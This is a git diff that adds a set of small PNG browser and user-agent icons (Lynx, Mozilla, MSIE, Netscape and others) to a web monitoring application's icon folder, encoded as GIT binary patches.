b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/leechget.png new file mode 100644 index 0000000000000000000000000000000000000000..76b752d03cf1f230891eecf59705fe6710abf3e8 GIT binary patch literal 682 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4kiW$h6!4`+87uZ*h@TpUD>ZON^yxPD2Uw_ zU|?X1^K@|xshGoh@U;Ks1O|o=?_XbE_cpF1r?1gQjiZo7$>S083JnR~gFg;P?5HxD zXCh=-X{`2-U2czqQXI#zbc=)@w?}8xUNI#0os`%izQHhRTiNUDb^q!Dj;7vakU9M3 z=ry7D%ck7Fe^<mM&04$cQ|;e17d*UbI-S%!92TySw2G`Uwl%#WxbvNM{2H^U#7k$} zXUjyFyQC&c32$od46<5qw!>@vT9*0tlD6?@y)|vMriyMls*&M+v*y>*9-aL`@wcOX zudiUsxaxAYX3h)A6;E$4o%0ge!q`z;ZE#}2$;lc4AB{KLT@R13C_3rQ{@nht$C|%$ zPT%lgPSO>grM6UnO*roB?G-y0eK!a%&}&PczsUH@D*Kd4JS>@OnvI%8+=PDwy=byD zeIk6c?bsE!IhHflJ6q2*d1`f6QsaaXw<&jPLms=)gl^m4pEd-%{CcIJY3;EkTR6H- z-CUU%xJBXlo0yJrt_2+m*HWjg|I@g4yZx2E{of4EE?a#4mFB|MatF@GZ$Etc;qiU% zL9@UNmc;$rHm*KeI>D5+`_dD`kcyhCw;JSk98d5$8miOP@`v9&@5{$OPn|2v^`@V1 zaOjIKjqvNaJ3scfGN0*vnLXU6kM{KCs%iVE{o7md%}BB)-usiPSL&=?Y<az<C1r{X z3}L2D3I~f)ECo-hMJzv^Sjb%avm&@v<a@rF6wkug(4w3Be=o0!TK#HuhSNrCHlDR^ zYh$KN;_a`zIL+l$Sze*7zBPBp?dw9vX2#8DD_N1v=@8?UIbBIWsM_jZnd%3wXvgn2 p-REq5$B_4VniQWzhsJ-#XFJu4b0UtoGcYhPc)I$ztaD0e0swG!FMR+2 literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/lg.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/lg.png new file mode 100644 index 0000000000000000000000000000000000000000..c009af4579328b2b5eb5cfbc0aa895517bea0b24 GIT binary patch literal 541 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4kiW$h6!4`+87uZ*h@TpUD>bluyb2;&bRjZ z$-uyP(bL5-q+*Wkq_f^3g%Yjvzu(*0W!z`@ZqY%mr9N+%d1ICYPtazMN}DKnWs!#X zw%&i-|CyN0Rd;lIWd~|IZamQ2*)8I#(S4=B?%jJ^-D6c@>0b{#l$mUu*5V)|%oH44 z^Jhsjvz3*^zC2}RhIcN4lcp@2v}Mnl?&&oN2j1WL#{FEDMN014vt=r+4Oyl;f1m0S z=lb_#<Ne*Q)6Z+n4pm!hA+}<7^zPkW!6B<PS>Eq|!~gF015s0RZkze`o76fT_~kvj zrl_1bAG|tf<%gf$|1B>ZU|4LP8L&S2Shwc3ZAvP3d!B#M6cb+=wlgrTbZX8y2IEB> z#(eyd5hrFy-mkwfY3p9wSEbc|`z*p_w7VqsrXCeO^}O=)wQJXmJhnXj`E_!PcG?WV z<6$cwoLfEJV~W?7XIIK}CP_9s=j5zf&(CRm=jzRsL7V{`U%qVkc(#pA**o}D>bLJ} zBbKc07Vrp8OY;!AG$p8W@BNZFA^G~N!c>3Wne+Vf!=IZ2^s1|OJLu}#nJw$&6y@5t zZ=HZoP;%(mbDv6__CB|W+v3y29=3ne=EGmMeElxmBwMTCdopFq-m_0syuGiiO4%H< zH|_D`Cq=x|J+rn1u5}9*{=eb>$~bk;3ICWxc$uTG|4G`$z`(%Z>FVdQ&MBb@02kKu A%>V!Z literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/lotusnotes.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/lotusnotes.png new file mode 100644 index 0000000000000000000000000000000000000000..31ce8ffdc0fd83ed9715ec6995f45be7715b0829 GIT binary patch literal 344 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$p##xCBB@7G<>?NMQuI!iDIGIHBb<R3u zGB7Z37I;J!Gca&{0AWU_H6}9{7#LX69eo`c7&i8E|4C$JU|=u^@Ck99k}WVJU*df} z!}osf|DCM=mvH^wD)4`+#L-&q-}7|;ACUgPTWjxv;{PkXj&1Gv|NsAy%I97T3=9G# zL4LviQ31mP<yc7u28Mo57srr_TZ}CX)&ChjGO#h6XHaK2TEXz+KEsC(4BHYImKZR+ z5@7fdR{4N|MI|YL;df-20K<QQ^B)*qmPLGEXe*6Az>pH;!oW}(q{YA>Svvaz!^c~F z9~k~W>|J$3?mxrFt7=Y3w(<<zlg*5iEjKW5Emd_&vRc4!0!;TX{Oet{YxR!z4FCTh eWRUs)f7%`MJr!BY^BEWz7(8A5T-G@yGywofHHQ=c literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/lynx.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/lynx.png new file mode 100644 index 0000000000000000000000000000000000000000..4d98861b00b29b7bbc7b301763a5a3b8b79bcd73 GIT binary patch literal 288 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyj6iZwqN?cNllZ!G7N;32F z7@Uhz6H8K46v{J8G895GQWe}ieFLV}`E)WcFtC?+`ns}TW@cp6HM}13vW$U&fwRCP zvY3H^>jMZgI;}C8!N9=4lJ4m1$iT3%pZiZDD+2?AL4Z$)tD>T!mse16aq*lvbB-N5 z_n#2(hzS*9U|?V?3GxdDt7X`{f60CZ1_l#P7srr_Tge=)3~d2yY8+=ZSe7oVNlblH zGowmT)uh%*Pft%_*2Ia7E3`r)BRxGiJ)9XB@`c2|WZMS*Wnf@n@O1TaS?83{1OTKM BZRG#} literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/macweb.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/macweb.png new file mode 100644 index 0000000000000000000000000000000000000000..8f4322a360e0b5ca8bc38302c4a65b097c940dc3 GIT binary patch literal 662 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4mJh`26+$Niwq15Ea{HEjtmUzPnffIy<}iu zkSuYHC<)F_D=AMbN@Z|N$xljE@XSq2PYp^<OsOn9nQFtpz@*{n;uunKE9uVO>hI2M zY;1LGEDxBI+}M~H6dEELA|yI?N_wy`Fdkt!Qoo_&Kl`Ke4u3eOyEQN*IX*NnW-R@a zUh(S}_u-S#`u}SG{Ag4>cUNMyTLS}Ac1j9MW>Q+k&wtv7S4N+g*e0|0sK&8R6Yqz( zwj^G^$j#$_-`GeZ)5~DS3QvPS|G0~I4*NGSBr#?tC8Z?osQ9jW`1JPo5_$LPj~_Vu zrTO9a`TKd=-~UUf`0<VL@apaIlK<)+qy$X<kRTu;lJ?{K`}_P23`|)mDHg@QSr1=7 zFE8<<L8|Y5#nA(&zx5w<nAPvt@Ynuu^Y(g4ozyym6<((eYW|!&^5Mff?lyV*dLsrF zfy;Z-<t1kP`<oCT{ye4PZ};qn@6Y@5wAJKG#_&FsSXcir@d3NkvGZpSfB3Oo;qX@W z^OFDm{5hp?;@}Ae0SBG>|Nqi1Ob|_d@aRd(g@k`+9;`ZbEMe*Lg9lWXohkTuua+$^ z%#F>DQIL%}GLOwy)RHaCtgK)G1B*cS76Wr;b#e2<^Y_<FPEq|K;j~9q(xtUk@|yhq z^B*4nwPv&YIiE-GR~3&`)GG&GABF#n%CGI29T+zL`SY{8aq{GD#wXYJ|Nm#)(dB7S zu))ySfZ6$`>-6@6r+xYzqt8!xsDB}0gPH~dhk{$eq~8tGo+xNCWN0ZH_|2RVc_2r? zjY*!7se{#4@W5mdVdVhj6Pf=Pa&nsfV`So3@=|wO3j3x9_RH9I^fEBAF%%fDFQ2~9 Sq=12efx*+&&t;ucLK6U9{TtH& literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/mediaplayer.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/mediaplayer.png new file mode 100644 index 0000000000000000000000000000000000000000..0536ebfd992fb69ea5ccbc4be62d92a166d317b1 GIT binary patch literal 370 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyj^h;bLN}P*Q6H7Al^Atid zb5j{oGIRA5j7${LUX~T<DHs_T7%3Q<TN#>InHnf)8yFfGoJq2t%)r3FUgGKN%6^%d zk<o-PtGD0~0|NtRfk$L91A|Zu2s36JG3#VtU|>mi^mSxl*x1kgCy|wbfx#faC&X1# zlP@sPw7ork&YUTG_DCE(TEBbuw%fOl{`~3n^XJC*?{7VS{`~#>_us#N|NsB{|Ns9Z zLi=|zFfa&|1o;L3M+FQIlw&0s7#Q+AT^vIyZYBTt|9`#XzyJSv{{OcRy~27~)$8g1 z??!+Azgt!Ivz+hn_X(Pp=5L>y9x?0Ysc%2e)wih%2D5ZGzMAH;)le+oEbWGdQR`3R z3IBaBg#P-Rx!~V<rC0O&-?Gn2R*2!b^8f$;RJYs-l>*fa;sW-iSJoOPGcYhPc)I$z JtaD0e0suwopHu(< literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/motorola.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/motorola.png new file mode 100644 index 0000000000000000000000000000000000000000..72604c9c6bfacc9e4291101ec07cad8c3a3d1be0 GIT binary patch literal 655 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4kiW$h6!4`+87uZ*h@TpUD>blu=6nKyZsHZ zW?*1)_H=O!shFdB>9+UeL>cxE@84J6+k1P?@=rUi6g&xd9^`DOt{B3S6t$S=)gf-r zC9_{B-3S%A<tlJjlFQNEWzC+>MH)T<iq@XGZjnpU<UBTo$vwOCd*Au>-FEed+h@$2 z$*6Sb!t0sV{Yvu7>ee1TYqC5pcG68To%LUzYaew{xE#bF5}mHc|CMi#bIieojvN}? z(rq5s&d=p4DZ4Uznvj>K=7qwSk?(uAZ@Arj@X-?8GNCD(b(ij38Ddx(D`{Jw>oVEt zhKZ$xP37wUd(Ze>%h_=uE_%Y-M^h_W&9$#Yu`W$n_B!eO>FE<K86Uj5Ymj-VOM2<N zo=-~UYwf2exz)PfdpDOg@}0=(5RVn}4sMtc_rumwI<=j*aIs;4hKCtT*9}MBQn}g7 z-mX36e5T>D*~iLAAN@bQsyYUfFPCNbKdh)Y7d=7h#(Uq=m-$Mc-M@=6GbHLx6R?!@ zER*d}J@xmd|FQJfeDVCH{c~*N3RS*rSoZYU87GtTllyvGF8eJyGdXm|Y_HjAPy5!^ z`r8N2%C1OS`8&?yQ>o;xzyCh3l!`Z7D{bfBCg8Ni>{rC6AQQX&Th8%uCOo;SbkpR< z)9LT)!>$XjIlWEIUa~Dyv-H8212-=8Jo5{lmc%BgnWpIAa_!Nn&TFUstxGfF3HJJF zysJv*OG3#TX&I{$PJtN{4K`+OW%14{mn(T;Ww<#=heg$Ab9KU^_aBenT)NeF@?5i* zXZ>^er_JSg$K+vn`9IgRrAtH@7(TmJygOc$v)g*_t?BFznrsmqANdU?F;C*#aWsvA Pfq}u()z4*}Q$iB}{K6*h literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/mozilla.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/mozilla.png new file mode 100644 index 0000000000000000000000000000000000000000..6008a31ae14466af14778c8172fbbd35f20e13ba GIT binary patch literal 289 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyj*h@TpUD+=)aSE$QEDqWu z#K6G7S>O>_%)r1c1j3A$?$-TbU|?WLcl32+VA$Bt{U?!?fq}swz$e62RY2HXRwi9a zyp5f6nIP{WF1C9d3?G;oB7*#?b90tWn|A8p!RPlLy?^%X`}gnv|Nl36vYnfOfuY3H z#WAGfR`QSk@6YTk|Nr0kkF~1G&R_rP+phPjo$UGj&-hM48K>Esf9Ee8j7oYWw5dO_ zF)Ct4<}CK+CA*^~7gq}&W;1+j<jkwSpk`<BhE|osP1nA(teg5<BF%g{+Z*Ot-_wg` q9jo53Q*X}y#xMW>m!D(GWH7Qdy{gakFN%SIfx*+&&t;ucLK6VzB62bS literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/mplayer.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/mplayer.png new file mode 100644 index 0000000000000000000000000000000000000000..1eb7839550b93ea0cb5ed298e09217b61be4a4f0 GIT binary patch literal 689 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4kiW$h6!4`+87uZ*h@TpUD>blu=D5%?pv#5 z$H2gp>gnPbQZa`yifQRz#()3*G5r6}$i(#X(B_|eSFzl<{ebiFw9xl_U#0k&)UDNH zZFD34{rk(v$i&3(`zIq4)3^B@zbhj+FP-4}{+W;KpMdiBue^7!z24TaIC9ClUM42y z|NsB7FtTxcTingCu#3mc@vpqvClT2%T)&K&U%ZjHaQW8(7Dnc|yGmFYc*6qI7=K+p z{<R^2kBjfGjpsED>n9AHYVxXFf7$>2|8?f$wB46`-aY*P@FL^%x?{|FKX0&n`OGRT z`@+Ket+?FL-CJ&7zrrcVtf(ZXBja)Z+2wCvUO#*C?%#KACf+-zcz(TM{_*;cs5Czt z=a-K^4<9;~k&=~`o_g)-RSWfq@Bjb)WoJ2a`2<Uz#@siY%pwvZ#e5QMj6cp_y7=J! z{ku2sJb3UxUBf6l-8@NK^1H;BGdI7o>}Az_$0qobSuphfe^c&%M~)n4V)&bsmY9?l zZ>Vqk{r*Hb9xgT(hU@ovSR&-Ft-hh~@yEBhM}_r#*mE=Dom{;g9GuwMSpR%~{Q2#+ z-~Sn3z4-Fztu*6>bGy=d-aY=M@?VhAUSF`nM_f&Ujg#r~xA&*s-JkOP`wt$*Gwb&; z{uJ+Ko-}#x*VpIw?0?I~$o}o^`?V*&-nenjlDGKv(*uA0{pDx8di&<PO_v>$lQLOY zSXfeHJm0)qHhtBbJHI7)cz-?k_K3mu2J>GQ#;*@|Ut-vK)ioidL_<Z1@z0+>%*@Q+ zzJJ)g>%hzfr!HR?78QKbmpc3DTmG9bq*+A+0{laCHP!zA|IhgU|Np;#|1vW(GcYim zJG=Yn>El-}KYsIxO<F?P#l^<Y-Hd^O;m_Z{%uGzeuMD^*g^JE*U|?YIboFyt=akR{ E0CC$xz5oCK literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/msie.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/msie.png new file mode 100644 index 0000000000000000000000000000000000000000..6dbe4d07e4962b5814dd7a81d57852092a183766 GIT binary patch literal 314 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyj*h@TpUD+=)Gcp=$3RL?2 zXJBC9EbxddW?<m@0K$w;YfNS^Ffg#BJNh~@Fl_AS{*%bcz`$S-;1l9%8#Y}p{D5Zc zLx<ew5k0SKrd^+~{7&W8?;H1?KY8u##?#-=-Tv|N<Hzsc|9}4v0*AdVH5eEe1WJPZ zf<b&F%<w=tR+52%q0rOCF{I*F@(+Hd^8dySCssy&Zu}CIeEn~><iC31!ornz&VSgi zc=gEM6#K*ReM?MVp1yAUCpDPMTXTK-kHc%0ym=IK{zGU$#?viZzVgV6wAeKF{BAT^ zJZaLY+P3v}JWWn^|0V0Zmo7`a&pxX@$?k+2!zFIB`4UCDZ!s`1FnGH9xvX<aXaWGL CuZ+Y1 literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/msie_large.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/msie_large.png new file mode 100644 index 0000000000000000000000000000000000000000..0ff2362d8a2ba43dbde06bd79c48923d2ad9a605 GIT binary patch literal 475 zcmeAS@N?(olHy`uVBq!ia0y~yV31*8V31~EW?*2LtM*Brfq{X&#M9T6{Q?&szZ$pp z)gwI&3=EtF9+AZi4BSE>%y{W;-5&-929|V3Uq=Rpjs4tz5?L7-7z_e@LR|m<|Ns5_ z?_-x9Rdla?|NgsL;I6Dm_v+66c1*ahU{Rx)@bvrt|5xsQyl{GcSjUHZ&;Cd<UtPt( zz`$4%<QL4~@a#q!0|TR?r;B4q#jWIo1FSWCN`(?vt>$SSxS^+)by`NEOTk8L>$=d_ za+U@ioDEO48up}D{^Y4iSQqhP*OqdJ1q{!OX1P6iw)eEQe*F>tNh0%ZRj<vyyZh6p za(0K9vk!Jlo<8;a)alnk4q4W@>(_cEeyE5G{w|Pm`poXg)glrzZk;|ozhTE@{q<2_ zb#!@G{1lv#y){ep!oBkIr{^>8+%tK1*qW%Vk0dW734~W1TXi8+HsJ!xru1u<0u}`F z%%3u4OXHo{ffE<57Lu%py1$p3rARmY?3`O$eNLLJdOwx1V|Phf#uY7r2(F?fFSSmu zT$u1qX~N|7dcyN8MRnpC9_`Y5bZw5Ll+><O>@r4Y5_xo{Is8;%_i$)kw%lyz4vRxg iAt!ElFt}e}W;i*&^oDL+K_LSJ1B0ilpUXO@geCxAC(Yvk literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/multizilla.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/multizilla.png new file mode 100644 index 0000000000000000000000000000000000000000..22f26b15b1fef9c6ee64be01d4ba6bb46fe6712c GIT binary patch literal 289 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyj*h@TpUD+=)aSE&O?Ci+M zXJBC9EbxddW?<kJ0%68WckBKzFfg#BJNh~@Fl_AS{*%bcz`$S-;1lAiDj@7GE0ZoI z-p0<kOpx~w7u!7!h7ZgP5kY>{xjD<GO*?h);PZQr-amWx{rmU-|Nomj+0M<tz)<4p z;uunKEBVL&_h)vN|Nn3N$68fo=dXYDZP$C%PWJr%XM882jMMDRzw;LkMkPHG+SH%e z7!@%ia~6B^lHJjgi>n0>vl%`%a^_WEP_wgmL#xW+rfXkX)=m8_k!C)f?G5v+@99Oe qj#Y2isW<0;<Cp*c%g-@oG8oyKUe)LN7sbH9z~JfX=d#Wzp$PyhIdXdd literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/ncsa_mosaic.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/ncsa_mosaic.png new file mode 100644 index 0000000000000000000000000000000000000000..0236f08b143f7b41b9a58b1e1f67f6b61101bae7 GIT binary patch literal 790 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4kiW$h6!4`+87uZSkfJR9T^zbpD<_bdda}R zAX(xXQ4*Y=R#Ki=l*-_klAn~S;F+74o*I;zm{M7IGS!BGfoX-Oi(^Q|Ee36dEB_gH z?b`ACH^cw`zd1M<|NUqF^7T6tBP$07``^DD|NnnvVP(5~=J|&&%odiSOkfQx-@pH2 zVPXFBm*wKQk2kM>`|#@D@83WE{%2=nXXWH#{Qc+4fkS7d<;{7x-!OHwHa33!e&0UY zyynM`Z@rtey64CUOIusBiwg@22b`b(|9|AVdue}ueVo&>#MprWY(C@GZ5uC~{BiyI zkJu#s|BUQ^|NZ^)`TM7Lth{`T5>l*Rzy19D=`RZl11~QR)Im&)%)h?>7Z4KQ;9~sr z;rq>V2OmEFe*B!ljmv+NlZ8F}csMwinVA0n`^N~;z{JSNt!=`~$ny96dFE}KZ@;_n zk>Rff3%{X;JjbTZZy((L!^_M1>lef4&%YoVSbqQh#m>%c@A&)V@z)zRJpcVuOGuDc zK~PY`<;3qd4^JNnl9rccVED_y!35F3#KiRH=g+T9j0`R=>=H76-hBFe>mlQr%Qrqh zkr4SWbmjiP{rkRu|H1X^7Y7r^iYXJDAHTMr5WVBe7gkA$I76eFy6@i~UVI$1eclRp zm#$N%4Pz|6c6QHZRA`uCVG+@=?%~7KpI;~6J?eP--n{O)Z`qg+ACBKY|MgCd6{|O$ zJiXbb=F7v=;%*I)@MQV-@9+QrY>W)Q|NZ&JFDO`5Wq14b>v!+I3kwTN%dq|a^X>0n zhHoE#G5-AxaXbqX)4yBSp6=cAK~+mYOH=0CHzo;jX))1%fByb^^Ww+*_kT_t{;8(H z$HUJ6)$srSuVcp^9X;{)@slriZ+>E7Vfpiy;qRZnj4c1TnYr0mxHR=eZS4QCvam9B zv`%e3e$aLL^!FR5P1~?(mW46*<MZ<M|BMX`7@YswUs&*e&YU|sXX+d8v2hqMd_19e V^}~5t9|i^n22WQ%mvv4FO#nmHb?X2C literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/neon.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/neon.png new file mode 100644 index 0000000000000000000000000000000000000000..d404c266570f8f0528f80664096de9408b1f33d2 GIT binary patch literal 328 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4mJh`26+$Niwq15oCO|{#S9GGLLkg|>2BR0 z1_lQ95>H=O_G^qHjO+qC=LFO-Ffcs#ba4#PIDhrhMlWVZ5!MUFyS+E5OmNz;Il{VL z;YQT$h#NP$=Jx)7F#m^g(^OZldIy2oB27)1CckykPO^ChyxH?1t<Cy9U-=IGPAe9> zT}``g$2W^LACXups<q+3-AR!t-<CY!G@rlcp+aF)QN)-2E~_)`4>$2VvC=+N$5p-Z z`7+lX@-Af&?uo*3O{*up?#euMXU)@XPiybKDwh$D3E`PoaIf~CWdzIPEv^+IMox`t zxj8p;O1FG{#{N+MLx0QFtlXgaH&fOoFM2+E3ztEsm5w2Q+^&h)T{g3y9FV_VbI<cl fTA|oK#&}nI`=2Ty;@=q<7#KWV{an^LB{Ts5Ft&z^ literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/netnewswire.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/netnewswire.png new file mode 100644 index 0000000000000000000000000000000000000000..ed465f00d5286a1ea186178c87946614d0cd6f27 GIT binary patch literal 667 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4kiW$h6!4`+87uZ*h@TpUD>bluyU!Z^9Am> z&cMLr@9E+gQZdK$(s}R6i82fy-hbZn{@Lre+WTi?{$(8t@R}Q`BDu7kLyN<PrBQZK z_DjtPdXg0{t{v4=z3JJp$HiWOqo-v-Nm9zLjC19;LcSf|TAug$?(2JRYv<*+zxeW# z-Ht_2P>@6Mz}EX87fkDaZ6-eVWX7wS1yvsoZIpT{kQ^hxk=Vm1ux0Jco1%*sZvD9- zT{mb><y=qo&j-Hi%~SinZu^%x95=T4S}HBAd3Duk$Ev-bD}tRiH+@#!dh6<)2W6hG zzURJQ`_VPG)>p)}sU!aR^!E9A@shhlqC1(jx^zU(c-e&B@m2f#wktC5@0-hq1?5=} zyewDD4en?Yaw)3Zd!TWq+F}s~55@8YS5|Qg%Kb6&J)QQ;UFCfN$LWJ6o7b-U_p8q? zGOSWDJ)o;|?UA$})8+Wny`QfLJn>$7TCCa3+*ehapWA1ve%Y#h&rNgo)pBF@l`opM zil39WI2yIxy(}thSw`sO8E#vyRe4TYFlG0hsk?3+yMOL&dYM>qsNMEQi}+67zWwl# zTi?{PK1QN*xZfV>%I&-HqBnT)cJ}o7Uw=wxH|}6Rw<XABM{)6i*r{u#xaPh5T^00u zXVtdL%3f|2FK<0M{yTGV^@jKtmN&I~dTlc-A5BiI{#Lx|a{P1A{crQwzWQuiZym+y z+vBgf?Sj$Ij1#ffT_ln_6gX;L{XBhA+*&Pvv7cyQSnE}`kG?0L3HQ%uVTzqo-1J{K zfa&$btKa3PnQiMSnptVH>3@c7$fLu`<(AJ|1U~V*Y{`9A(80hEz_@`Si=m;=;T%h& dkkdb=7mYRtFZ!s|FfcGMc)I$ztaD0e0sv?qJe~jm literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/netpositive.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/netpositive.png new file mode 100644 index 0000000000000000000000000000000000000000..9c53455b4b6bf2a4738b98fb02df9b4b45ebfbb1 GIT binary patch literal 372 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8u$OrHy0Twl7Zfuys5{wO z%D}+DS>O>_%)r1c1j3A$?$-TbU|?WLcl32+VA$Bt{U?!?fq@}5z$e7@|Ns9C3=IFL zGccql=%1LNKOH3S{{#cWbp7+`3=HWE3;_%b3<>9_Com{5Fr@!yn9iX8|35=J!~g&P z|DTx9z`*d|Kz{-QgZ_#03?~@wGcYi$U;vqTgF#+Feu9!ANQAK@$S;_|;n|He1_p*+ zPZ!6Kid(wpB88e21XwO)PIR5X!K{~Y=5PPZgG>I$m7aA{;p}X5_&=q|f9=`7M^=1Y zlkv{*bLstx`O%t7&p%xq>*SI4Xo7Rz?VZmL_s$CvTlad~=Y`G7H$3Ty$TB%*p;k86 zp{Fch)`X@DQAaqlrd{3qcFW<@`bFZGd?ts~y~&?(&%tu}e0f8TD=RL3WbJHcFFvy5 S*fRzO1_n=8KbLh*2~7Y1A&`Cm literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/netscape.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/netscape.png new file mode 100644 index 0000000000000000000000000000000000000000..7c9921e867280dc5a842553044b24dda2e56e3e5 GIT binary patch literal 208 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8u$OrHy0TwllHgO5w_u;) z&%nUIS>O>_%)r1c1j3A$?$-TbU|?WLcl32+VA$Bt{U?!?fq{W1z$e6&fq|jEzW)FJ z{|pS>|8q1-85kJcJzX3_DsJ`mIPx8E;9zq6_y0N5JF}N--ICoHUj%>nP&Q%K;m!9s zyIp@}olET7QLlIG@Fw=J26JN9OMOr(Wp?bIbNXuX?|9qweT?1$%*~t(3=9mOu6{1- HoD!M<h6zKb literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/netscape_large.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/netscape_large.png new file mode 100644 index 0000000000000000000000000000000000000000..7bd913abf14eb2fdae4718ba26b030e871bdba45 GIT binary patch literal 440 zcmeAS@N?(olHy`uVBq!ia0y~yV31>AV31*9W?*1wxh6D=fq{X&#M9T6{Q?&szZ$pp z)gwI&3=EtF9+AZi4BSE>%y{W;-5&-929|V3Uq=Rpjs4tz5?L7-7z_e@LR|m<|382G zUe~fVHbWBz1_llup6|bZn+1j*ym9-=<0szJSFlZ($&_Eu8JEu#7R_K6)_uN8pMima zu_VYZn8D%MjWh-ZhJT(ejv*Ddk`okIW=s)q5Ik}IH$T(-`^_if9qiu!umAsVZ}oRR z52qjR@9l4H`2Jq;kNe!s_xAo)v2=ca*VW+vTUS3@1;dy3c84eYn;o9xTYi4;tk2Kx zIxEb7es->RuVnSRxLL*D&*%#LKQ}kpH}`IO-r1eS;!EbgJTo)c*4pUXoL83BY)8&B ze)RW$ZD;!X%gkm6yYDma?yf3Z?{UYp`uxmZg?}&a?%q}Y-fQx_z3JaI73`%wO5fkx zt5f{#-Q9#rg{y0qEKyb5TK!#5VSeGns)t`LT)2?%xM-=UL*1^-4M$u;#T5#8O<6ug wHg3u8;Fe%%{K?_KYiBGqUr_f?AS1*1jSIIYvoIcGU|?YIboFyt=akR{0Jl24PXGV_ literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/netshow.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/netshow.png new file mode 100644 index 0000000000000000000000000000000000000000..8abaacfa1da2ba3dc3f04b48d8a7445393609f2f GIT binary patch literal 636 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4kiW$h6!4`+87uZ*h@TpUD>blu=AK|+RqHM zVqjo0@N{tushATw!QW$Yp~Ug|&ui=7FWXcRoU_ySic#T`%mprq3k9^oG)gu$hb<Rr zn{M;Olx3~6pwbBmvs2xVE(9|3Uy_;R7&WOwGiR3Gk%`@VXE&{XfA9PEk_d^~bNB0O zK7RO+kfxvK>l(k#rhnB<-SpM5*X3`n4U07w5M*F+WME(r$Tu<hwCM8Ziyyv7{FYqv zTZUKHSKa#7dPB7o1_l=wmyO$grX|N+ebj!#-R$I*&+hZBwuK*4o_+fM^?f=zIwv+Q zU2x!-B|F2ztJ}6)-&r3uDe_a<$-~Dh3>#M5-*@=eubhuR>Z*VL?d>gfc`~Q_?)P_9 z@k{pat4z|1_jzj-8gF{wk7oDX*IzTE)~sEtsC_yxD(aA>c>1134}mcAJMPuhSsLsI zuU~#_Wf5`lt9)L0_o6?SzMg*i^r%Y<+r+XtpZ3Ll>3=_?D5&)7Ifn<4>Ccz0TbH6S z#nw=;Y^TlCsp1R_mgWNg?=dngUhJ%_{5~sd&Lolfv$?;2x6jR5WzHkZFtMZKgn`HP z(ql&+KHR?P4QKo3^z_M<mFXg?X<JXtp1pCA68q^p$0URllarJdK6y5aoo&~*@Atod ztBa1?w`<Fk_XRs<&z9dXIm<<5(JHOq4;E-nlu-T^8?(l8?)Ecjk&|lHuKnuaBB?1@ zc+NF&&a7E7QlB)u7A;zICT(+0u4+i>_HExz*=Mqy+o`}YtL)A9-`B5QYd#ndd2^>n 